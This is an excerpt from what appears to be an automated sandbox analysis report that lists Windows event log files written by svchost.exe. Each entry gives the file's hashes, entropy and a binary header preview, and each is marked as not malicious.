SHA-512:	DF7829C3655FC7F7AF8C6F82DF8F48C3842AB6AC99B32705AC232DDD1D7398A93B3C03BA8217D055702FB8881AC8FC5DECCEAB8E2ED23F8B73C7B2737DFD00C2
Malicious:	false
Preview:	ElfChnk......................................+..0-...i........................................................................z4........................................>...=...........................................................................................................................f...............?...........................m...................M...F...........................&............................................................................................................%..........**..............c...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.231994720329579
Encrypted:	false
SSDEEP:	384:ehk1EL1I1Vh1C1D161f1f181L1tY1VGm1Q1L1p1VG1U1Z1s1VA141c1Vc1q1tS16:eBjdjP0csCk+
MD5:	2418B580C396BF3D2B2E78EF78F65991
SHA1:	5AA4D8E6E8EC06232294A57762DCF70B6A4AEC46
SHA-256:	4FA9363ED99CF66AA2B887DB72C99F7E21B364AAFE0C169B5CEACEF72E971557
SHA-512:	650C05CE840801E047324A41E74F07718BC4503AD16860C4161B31027B2D480F0DD72B1EB936F08C3985DDAE151D7340D1C7DD09C61F957694A3A800F7923F4C
Malicious:	false
Preview:	ElfChnk.........................................p...$.._......................................................................5.................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................A.......................................................*..............5.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	77968
Entropy (8bit):	3.346591659832869
Encrypted:	false
SSDEEP:	384:MxlIj3SIWILIlIRIYzIvI3IoXIYD4IKIIQIq9IWIYIFI7IkIzIMMIPIj/hDIEQAP:MG//ZxGuTcr8
MD5:	1E6E6D812DDBFE6554EE7D09E2613C23
SHA1:	339E1F75DC13CA9562037AFC19C265BD70110181
SHA-256:	D30D8665BC1F8918203F0B273C8277D9DF22684A3B67954B994EC5A6A9DACBC3
SHA-512:	C39903D12DC293DF21DB256BC8B4B99B63C2044B9B3C3C710460CE68518F43E1C7E4A19E70BBDC4BD2D7CA36AC38C9F0E9B8A6DC2B4AF59B129C8F20D6A3C293
Malicious:	false
Preview:	ElfChnk.T...............T...................x...h...U.].....................................................................:o.w........................................>...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................1........................................<...............(..........**......x.......bw..^........F...(..............................................................,.......D.....!........... ....@bw..^.....................P...x....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s..z.?..nM.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.N.t.f.s./.O.p.e.r.a.t.i.o.n.a.l...........&.......6p.\.#i....>..........2........A..=...>.../....=.......V.o.l.u.m.e.C.o.r.r.e.l.a.t.i.o.n.I.d.......A..7...>...)....=.......V.o.l.u.m.e.N.a.m.e.L.e.n.g.t.h....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4WHC.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8010759015442367
Encrypted:	false
SSDEEP:	384:Zmh6iIvcImIvITIQIoIoI3IEIMIoIBIjIIQIYIRIEMIO4I:ZmoxDJ
MD5:	697F5D7E812BBBA5F48BAEEE79161558
SHA1:	2BB9620AEAFE781DAD1250C78AE760F530C04FEF
SHA-256:	1F9630EFD18553522D80986F123499E9172D5D8949BD43F82D0964ED671CE516
SHA-512:	166A91F00C96D4B5DB8C75B843FCD2ED191CAF2D82CEB41138FD22663D481CB50BF38D5C522524C94033EE7CD3C303AFA60261F95900299C73E2E0277834C598
Malicious:	false
Preview:	ElfChnk.....................................X"...#..!.._.....................................................................8.Y............................................=...........................................................................................................................f...............?...........................m...................M...F...........................&...........................................................................................................^...........**..............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.9976457275581723
Encrypted:	false
SSDEEP:	768:j4u1n8zfFFU1x4Dk13xIb13xIb13xIt13xIi13xI513xIU13xI013xIF13xIH13N:p
MD5:	8B81799FB23EDB0DFBBE63CB0A6D0091
SHA1:	08F10769E5AC65A808F3229113875C18E68F02A2
SHA-256:	199F3107FA0F478BECC0D255CA70F74B63F048F6B43015C4BCEFC7DB07358609
SHA-512:	098626BC09ECABD19653ADFE82C5CC8A73C4CD1537C28E781484F6B676E837896C892B3E0691E5D469C1972A76B646456E14907280D1040181C1F973B9302E61
Malicious:	false
Preview:	ElfChnk.....................................(...8...&..........................................................................`................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................ ......................................................................................**...............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	69752
Entropy (8bit):	3.87989584428036
Encrypted:	false
SSDEEP:	768:+fdutDMjV8k+u7eUtHpoVWk6HrWbGyYKQc90XU07SZRcZv76NcRUjGHzLKvc90X:8utDMjV8k+u7PtHpoVW
MD5:	1F58EC628BA97CF1A7EF30ED1B5D1C77
SHA1:	3D55DF2B14BE2A77AE8B71EE1154228A615ECACC
SHA-256:	8C12F1B929E28A65D2249E1EA94C17C74273817543516E8E893B337BCD7ADFFD
SHA-512:	5512B0E5F09252874AF662BB94FBBFFB0476CD9967CAE525E2B54937C92FE40A0F17CFDC45FF844E2E0946ECC43F6BCB13B68EBDAB0CBD3514B5336A1863A890
Malicious:	false
Preview:	ElfChnk.................N.......S...............x....G......................................................................1F.................2...........................=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**..`...N........}...^........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.446389340861676
Encrypted:	false
SSDEEP:	768:Z73QQ6FAR3Jmuh9MmjoEawi5kzp7kaEDC1Nol7iL:x30AR9Mm+wim74JiL
MD5:	987FCEB3FED984E85C924A55CBE7901D
SHA1:	E7D302E40C5681D0E8B5CE38D1D58610570B66F9
SHA-256:	BF86420CFB4BE176EE74D4EE925801EEFE1317330EF24F05C4069E4E19992E0A
SHA-512:	1A8AF2EB3FB7D7437350D1039591704BCE31F42D6ADE104E5AB72FC6C1F6C5E068410E05CB864EEF0DBB3D98FB8D4B3841F84DD6512A278065B53861B3BDACB3
Malicious:	false
Preview:	ElfChnk.[...............[.......................8...aB1.....................................................................k..................p...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................OW........../h......./..7<..........................................................w...............o%..**..X...[.........e...........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7589270703948895
Encrypted:	false
SSDEEP:	384:fhP8o8Z85848V8M8g8D8R8E8y8eE8U8+8G8:fy
MD5:	DB0D7D192D45E88155DA386A4CFAA7BC
SHA1:	0CA51DB6F3145F47A7DEE55DD59804DDC20788FF
SHA-256:	4D675E0BB5F2F8FB820C9A7E60290AA18EB63DB48D85C343D67B7D1036CAF535
SHA-512:	77BF88FE30C9A2E76B610094998F26BB168BAC41DA2A70C4BCB9C7A7A67B2821C6E7F2D57535CBB47EBC07A89F69BA997028F30ED43D507CB0E9C268BDC74789
Malicious:	false
Preview:	ElfChnk.........................................8!....RE.....................................................................J>.........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...........................................................................v...........**..(.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.7681443373841628
Encrypted:	false
SSDEEP:	1536:2XhZUyS+z1VV18o838c8bUc8cVVsz8VX8SoX8aA8cmtpjAiVB18dwE4vjcYoMjn1:2XLnS
MD5:	ECD50547DA19F16A51FDA8A61B13972B
SHA1:	D13DE19172977CE5D0200DA8D97CF9EA228E4551
SHA-256:	CB25E241C8446B843D41F381632449B09EA92699F04E3900A8DE21BB8D745F29
SHA-512:	7307453F82D151781DC95CAB8631A215F4921EA68983AD07D7A82BD6D85F19226964C5686816D9B39926BFE5899BED2CB764FED200A9117273C9A4006EC64AB3
Malicious:	false
Preview:	ElfChnk.........(...............(............J..pL...(......................................................................8.#=................v...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................................................O............9..........**..............g5...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.3821645601708283
Encrypted:	false
SSDEEP:	768:U0VsLY/Z5aFka2aKazzabCafama5Sa0ra6rzaJcavkao9O4aui1J6eJOQJMBJX:4cE
MD5:	CBF5E5B9F2994F33BE03BF0A826A629E
SHA1:	BFF85BF98CE5D092C06B3A7D366A077B5736E934
SHA-256:	B6B321D43FBF2CEE1D19A0EB4E3AA5134660D844E2DED9871E98A58DE11461E3
SHA-512:	7FFD68E0DE84CFD8CF091526E624209FF41644A2EBBEF4BED8584F11F4EC333BC5BA880257417930C6DAB318094D59479BB160949CAAC0FC985A3EE946071D73
Malicious:	false
Preview:	ElfChnk.........>...............>...........0v..`x....p.......................................................................+#................Q...........................=...........................................................a...............................................................f...............?...2...........................................M...F......................................&....]..................................................................................]...................*.............._.............X..&.......X...],T.'tB..E........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	2680
Entropy (8bit):	3.83226399830889
Encrypted:	false
SSDEEP:	48:McWtzCKOrCK3QuB69DifSrCKOrCK3QQkcqr8l+bCKOrCK3QQkcqr9:izCKOrCKgO69DCeCKOrCKgQkcG8GCKO+
MD5:	09ED2C1A198E4CA0195DE75D9326609D
SHA1:	FEEF26549A43B0004492890E9BDA463813F87A5C
SHA-256:	E033955F842AE6027C500E4EB9EBE7EAF12950B0E5A97FAE1CDBB94180BBEA44
SHA-512:	4A2A6A8FCD24F3C32BA61F65D25E729986CC7CF70CB65D9A79BB0D112AC588110679E14F8E213A61AD92F6CD9EE2E930F4B98F28F67250FB442D936B9B3DFB66
Malicious:	false
Preview:	ElfChnk.'.......0.......'.......0............>...A...!S......................................................................f..................X...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................1...........................................................................................&...........**...............w..^........F..&...............................................................L.......b.....!..................w..^.................0............................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.e.c.u.r.i.t.y.-.M.i.t.i.g.a.t.i.o.n.s........J...M..<.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.e.c.u.r.i.t.y.-.M.i.t.i.g.a.t.i.o.n.s./.K.e.r.n.e.l.M.o.d.e...!..^1...........h.......>...................................4.\.D.e.v.i.c.e.\.H.a.r.d.d.i.s.k.V.o.l.u.m.e.3.\.W.i

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Debug.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.315070457008112
Encrypted:	false
SSDEEP:	384:NYU/hDGCyCkCzCRCFCZC4MCyCcC7CgzCiCoCD24F2a2EO2M2w2s023C8CJCpCFIz:NYU/dEoNTC
MD5:	C7807651248E908ECCF27697EBB71AF0
SHA1:	4FE175151F778EF674F74D25145CCCF62C52F2C8
SHA-256:	A9D4FFC731E3D8287A25FFE350D5142FE1E9CD5D377F0BD7D29BB827C2F12658
SHA-512:	5A8FA490F7BFC98FD39635AA30A0E92AA3C9FFC279424C7D23E9F2893CF7B0FC91BF1F3DAFD14CA006B437AB6E18FAA67FBF7AF96E5347FE27042B262235214D
Malicious:	false
Preview:	ElfChnk.U...............U...........................$....................................................................O...................F.......................n...=...........................................................................................................................f...............?...........................m...................M...F............................4..............................&................................................................n...........N..........**..0...U.........Df..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4AppDefaults.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.482742417101403
Encrypted:	false
SSDEEP:	1536:bcPLvjwmE+ukWvw75NFyBo/QbG7YX1cchg52p5cfFSYl8ZAgRrfhXWmSY0NGQ6my:bcPLvjwmE+ukWvw75NFyBo/Qq7YX1cct
MD5:	B1F20410E64B0CD42CE4FCBF7AFC9018
SHA1:	4EE19EB81E1C99FDC1C7BA4E87F091AB124FE250
SHA-256:	7AE6BA887BEF8232508D1660717AA893FE68C75D3E4B2D48668AC1E4CD3C0461
SHA-512:	31EDD8B6257AE2C232572765C7ED08A4BA016499A3B0340D55AF1796AD633D17533C0288E07F9B5E74D19A5CF842A63468AE54F61A49F680722E95A48983DE01
Malicious:	false
Preview:	ElfChnk.....................................8i...j.............................................................................5................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&............................................................................I..........**..............XH^...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	70808
Entropy (8bit):	4.461826984214522
Encrypted:	false
SSDEEP:	1536:XZzSEmaSmDO+Xxp4HTQMhzEB1PBM+4MFGhLF/EBRyqXiUHeISNplZzSEmaSmDO+w:XZzSvaSmDO+Xxp4HTQMhzEB1PBM+4MFT
MD5:	0930F903A34CF17A3874B947CC9B4524
SHA1:	4F8EBF8CA5716E71F27F403E5D8173FACB60AC1F
SHA-256:	36142DD0D2291D977807E4CCC461FF0C7D4ABE97A7F5078DB3BDA6E914F5016D
SHA-512:	0F5940AB657B2E629AE882CF7962F632448781070787300FC6189B6409AA8A08102279EADBB1DA309619099EEA96252198A830F1C555A5016EFEB2B5FC17DA86
Malicious:	false
Preview:	ElfChnk.+.......Z.......+.......Z............[..0]...7n.....................................................................b..%................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................yM......Q7...........P..!5...0..........&...Y9........x...Q........Q..^........F..&...............................................................8.......P.....!....nqm......... .Q..^..........................Q........................$.N......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.h.e.l.l.-.C.o.r.e..n30'.\|D..Q.R.a.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.h.e.l.l.-.C.o.r.e./.O.p.e.r.a.t.i.o.n.a.l......L.0........S.e.cx.....(...R.......WO..^........F..&...............................................................8.......P.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.512081865341501
Encrypted:	false
SSDEEP:	384:Arhl787V7s7y7s7M787/7m7C7p74797kc7h7s7b7Y717c7v7b7v7vV7p73a7k7Z+:Ut/8Hh
MD5:	50465D28597F69AA4BA1836894D19750
SHA1:	CC55004E17EAAF1672D0BDAE3A746C40F6AF7593
SHA-256:	376CBE44BE97D96C93CAB0B83E5480DF2D3EA3CE0169E199BBAC9D7650F4AB93
SHA-512:	725A9F34A7A98390A365F75B2701E31331C2F3CDD1CF62BABB20C3F5655DC0798469B353E7839E8159DBBE733B58A76DA3ABDAC6E7EE4A4D672CB934AC296F49
Malicious:	false
Preview:	ElfChnk......................................n...o..-o......................................................................../V............................................=...........................................................................................................................f...............?...........................m...................M...F...........................-(..............E!..s...........&...............................................................-&..........f@..........**..@.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.2719028651564623
Encrypted:	false
SSDEEP:	384:/hc+uaNuru+uhuKVuPJu5u9u4ufuTuxuDuvuDuOuXumui+udutui4uTAuFuauing:/6Ovc0S5UyEeDgLLyfrlB8Q54GJY
MD5:	104AF6C87B1FA1C965BB2D3CF70EDC8F
SHA1:	91B208CE7ACC6EDAD1ADC8C5ECBB90000E00CEA2
SHA-256:	6DB30804B563EE808F78EEC69D3A85FF7F3F0FE551306B5924530C2C0EC2738C
SHA-512:	90A83431708CD8FBDC9FAD6AF191EDF3E264D8DEB457ABBCCA8941E15DE0DD4E4C2FB2D89B281C2FA11CA5D627010C96EBE3C43B6338DCA27E7701A883F8C295
Malicious:	false
Preview:	ElfChnk.........@...............@........... s...t..?h......................................................................._R;................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................................................................w...................._..........**...............&3..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8167930057519079
Encrypted:	false
SSDEEP:	384:bhGuZumutu4uEu5uOuDuyb2uPu1uyuKtuLujuVgqu:bb+
MD5:	EBB9255F7BBA5C52CE625D69FE52F60A
SHA1:	20F226B11EF3A69F56A13A5BF7530E199BFDE310
SHA-256:	5AB28568919B051FA95E534049B8BA9E606EEF6EAB53EB0ADB71545C0ED2A380
SHA-512:	D8788F58A8DE7C9BD6F7075DC65606508D14C8AD8AC75E8992174A4D35328E70635AEC36531DA5E81A8DABD931092576C60C5B831C73670D856A40BD2427CB8E
Malicious:	false
Preview:	ElfChnk......................................"..x$...k.3....................................................................$.#.................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...........................................................................>...........**..............Wy.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.235001208884112
Encrypted:	false
SSDEEP:	384:iGhRAEA/sA/8A/gA/lA/KA/EA/DA/ZA/oA/nA//A/PAzyEAuA8AjCbALuAMAKAtZ:J0hVi+KLN61G
MD5:	50EF6DB57587CF27291B2DED1AD3C542
SHA1:	ECF5C56F998FCA95BE4BA119DC5E241C693DB891
SHA-256:	14AD1DF267604F097745CC1A5C2DC6EDFEABF7E89A69A194B5433363A847F530
SHA-512:	E774A896DA5119D270D59E02DF113CF3E2FC774A24A0A7BDDB39E5D5D614B1F905BAA81FF59790811CAF51B4B92854A06C042D869EA2C52AB19E955E9BB00E4F
Malicious:	false
Preview:	ElfChnk.........!...............!...........x.......<......................................................................t..................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F....................................................{...........................................f......................................&....j......**...............>............F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.1601920702980912
Encrypted:	false
SSDEEP:	384:NhwpsWp90Np9b5p9ihp95lp949p9/pp9Wpp9tlp98Jp9jdp9qBp9BJp9A1Z1p9nP:NRZfQI5
MD5:	1A84D5BFFC6A51A8E813CA9870D46851
SHA1:	62201D49F347A7BEEA7D58DCB45D173ADBD53887
SHA-256:	CBF067DCF2548398B87EB882B7A1F26EC7989DBB4D105C4495020D63E9B5E0D8
SHA-512:	8B3198C3534387FEF8B8120ED0111F6EA02BD21FC3E8C4E74C4936BE18581C80BEF58EB512E111FF0143361E488F1F7C7D3151664E0F4FD996169C894162B24C
Malicious:	false
Preview:	ElfChnk.........'...............'..................._.z.......................................................................j.........................................<...=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**............................F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.0114620219781365
Encrypted:	false
SSDEEP:	384:jhtbpwV1pIvpLfpvQpw2pQYph15pcApLqBpJxTp0qo8psfp4yp4Rphe3p7PpLWBo:jwDoh1VvpE0Y5RA8sQ
MD5:	70F943A767EE17A83B03D620404602D6
SHA1:	26A2A2C8690D3F47D6192DDC29079CA4DE7507A6
SHA-256:	AAE4D860D5B31157D69935C9A68A8958EF96D9EBB7AB346B8F750E7FD339FBE5
SHA-512:	88CAB5E94A82F49036C5DC4A3C3DE94BADB9A2244C4A32DAE6A23DFD751553B0FF9953C21B02CA0396D5DBF529C75B57D1A65D9EA86CE86D8D081E63E464D521
Malicious:	false
